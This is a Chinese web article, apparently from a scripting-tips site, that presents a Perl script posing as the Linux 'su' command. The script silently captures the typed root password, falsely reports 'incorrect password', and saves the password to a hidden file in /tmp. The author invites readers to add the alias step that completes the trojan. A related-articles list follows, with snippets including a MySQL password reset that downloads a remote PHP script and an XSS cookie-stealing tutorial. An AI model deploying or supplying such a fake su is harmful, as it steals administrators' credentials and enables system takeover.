冒充su ,perl写的su.pl盗取root密码
我改了一下,把回显关了 加了个延时:
#!/usr/bin/perl
# Written by xi4oyu <evil.xi4oyu@gmail.com>.
print "Password: ";
`stty -echo`;
$s1=<STDIN>;
print "\n";
`stty echo`;
sleep 3;
print "su: incorrect password\n";
chomp($s1);
$s2="Password is: ";
$s3=" ".`date +%Y-%m-%d`;
open (users, ">>/tmp/.pass") || die ;
print users ($s2, $s1,$s3);
close (users);
很明显直接用是8行的,还有别名恢复等工作要做,各位看官自己搞定!
相关推荐
-
windows下mysql忘记root密码的解决方法
方法一: 1.在DOS窗口下输入net stop mysql5 或 net stop mysql 2.开一个DOS窗口,这个需要切换到mysql的bin目录. 一般在bin目录里面创建一个批处理1.bat,内容是cmd.exe运行一下即可就切换到当前目录,然后输入 mysqld-nt --skip-grant-tables; 或 mysqld --skip-grant-tables; 不要关闭窗口 3.再开一个DOS窗口,mysql -u root 4.输入: 复制代码 代码如下: use my
-
重置MySQL数据库root密码(linux/windows)
(1)Linux系统 在SSH中执行下面的命令即可将MySQL密码重置为diavps 复制代码 代码如下: rm -f reset-mysql-root-password.phps wget http://down.hostwiki.info/mysql/reset-mysql-root-password.phps php reset-mysql-root-password.phps diavps 注意不要在带有管理面板(如Kloxo或DA)的环境中使用这个方法重置. 脚本中第13行中的以安全模
-
冒充su ,perl写的su.pl盗取root密码
我改了一下,把回显关了 加了个延时: #!/usr/bin/perl # Written by xi4oyu <evil.xi4oyu@gmail.com>. print "Password: "; `stty -echo`; $s1=<STDIN>; print "\n"; `stty echo`; sleep 3; print "su: incorrect password\n"; chomp($s1); $s2=&q
-
JS写XSS cookie stealer来窃取密码的步骤详解
JavaScript是web中最常用的脚本开发语言,js可以自动执行站点组件,管理站点内容,在web业内实现其他有用的函数.JS可以有很多的函数可以用做恶意用途,包括窃取含有密码等内容的用户cookie. Cookie是站点请求和保持特定访问页面的信息.Cookie含有访问的方式.时间.用户名密码等认证信息等.当用户访问给定站点时,必须使用cookie:如果攻击者可以拦截cookie,就可以利用cookie窃取用户的一些信息.对某个特定的域名,使用JS可以保存或修改用户的cookie.也就是说,
-
用python写一个带有gui界面的密码生成器
需要用到的库: tkinter:构建gui界面 pyperclip:复制功能 random:生成随机数 string:处理字符串 代码: from tkinter import * import random, string import pyperclip root =Tk() root.geometry("400x400") root.resizable(0,0) root.title("密码生成器") heading = Label(root, text =
-
perl写的一个随机编故事的程序(rand随机函数)
复制代码 代码如下: #!/bin/perluse strict; use warnings; #定义变量 my $count; my $input; my $number; my $sentence; my $story; #定义四个数组 #定义了人物数组 my @nouns= ( 'Dad', 'TV', 'Mom', 'Groucho', 'Rebecca', 'Harpo', 'Robin Hood', '
-
用perl写的单位电脑信息采集程序
复制代码 代码如下: 主要用于收集ip.mac.姓名.房间,后来又加入了维修记录的功能.服务器端接受数据并存入数据库中. ############################# use strict; use Tk; use Encode; #SOCKE参数 my $PF_INET = 2; my $port = 2345; my $remote_addr = pack('SnC4x8',$PF_INET,$port,192,168,138,228); my $SOCK_DGRAM =
-
Linux禁止普通用户su至root的解决方法
一.概述 为禁止普通用户su至root,需要分别修改/etc/pam.d/su和/etc/login.defs两个配置文件. 二.详细配置 (1)去除/etc/pam.d/su文件中如下行的注释: #auth required pam_wheel.so use_uid (2)在/etc/login.defs文件中加入如下配置项: SU_WHEEL_ONLY yes 经过上述配置后,普通用户将被禁止su至root,如果希望指定普通用户su至root,可以执行如下命令将该用户添加至wheel组中:
-
Android Root设备中的su权限获取和使用详解
ROOT权限简介: ROOT权限是Linux内核中的最高权限,如果你的身份是ROOT,那么你就具有了ROOT权限.有了最高权限,你就可以为所欲为,换句话说,如果恶意程序获取到了ROOT权限,那么就可以肆意地破坏你的手机,获取的隐私...所以厂商一般在生产手机的时候,不会提供给用户ROOT权限,官方宣称是为了保护用户手机的安全,然后装了一堆开机自动启动,而用户这辈子也用不到也卸载不了垃圾软件(相信使用安卓的同学们都懂我的意思),而苹果所说的越狱,也就是获取ROOT权限. 为什么需要获取ROOT权限
-
Linux中sudo、su和su -命令的区别小结
前言 在Linux系统中,由于root的权限过大,一般情况都不使用它.只有在一些特殊情况下才采用登录root执行管理任务,一般情况下临时使用root权限多采用su和sudo命令. su命令就是切换用户的工具,怎么理解呢?比如我们以普通用户tom登录的,但要添加用户任务,执行useradd ,tom用户没有这个权限,而这个权限恰恰由root所拥有.解决办法无法有两个,一是退出tom用户,重新以root用户登录,但这种办法并不是最好的:二是我们没有必要退出tom用户,可以用su来切换到root下进行
-
Linux下普通用户用sudo su给自己加root权限的方法
首先: sudo这个命令就是给后面的命令加上root权限(sudo=superuser do),su这个命令是switch user,切换用户,你sudo su这个命令的意思是用root的权限来切换到()用户.你根本没有指定用户,当然切换不过去 你要切换到root,那就是su root,然后输入root的密码,你要让自己成为有执行sudo权限的人,那就要修改sudoer-list,在命令行里敲 sudo visudo 打开如图所示: 然后在打开的文件里把你的用户名加上去(按照里面已有的用户的格
-
Ubuntu中的sudo和su命令介绍
Ubuntu默认不能直接用root帐户登录,必须从第一个创建的用户(既安装时创建的那个用户)通过su或sudo来获得root权限.在Ubuntu中对系统进行操作很多时候都要使用这个命令,由此可见对于新来说很有必要来认识这个命令.这或许不太方便,但这样增加了安全性,避免用户由于误操作而损坏系统. 一. sudo(Super User Do) sudo + 某些直接运行提示无权限的命令.sudo即为Super user do的意思 解释 不是所有命令都能用sudo执行的,比如 cd 命令前不能用su
随机推荐
- AngularJS指令与控制器之间的交互功能示例
- Docker-Compose的使用示例详解
- 简述MySQL分片中快速数据迁移
- 整理Javascript事件响应学习笔记
- ajax+node+request爬取网络图片的实例(宅男福利)
- 基于jQuery滑动杆实现购买日期选择效果
- js createRange与createTextRange的一些用法实例
- SQLServer 数据库的数据汇总完全解析(WITH ROLLUP)
- jQuery如何获取同一个类标签的所有值(默认无法获取)
- 微信小程序 (七)数据绑定详细介绍
- Android桌面组件App Widget完整案例
- php版微信发红包接口用法示例
- 美国网页为您提供5个名额的PHP空间
- Android系统进程间通信Binder机制在应用程序框架层的Java接口源代码分析
- 整理一下这几天找到的一些好东西~
- 安卓版微信小程序跳一跳辅助
- JavaScript读写二进制数据的方法详解
- Django+vue跨域问题解决的详细步骤
- springboot登陆过滤功能的实现代码
- 对Python中画图时候的线类型详解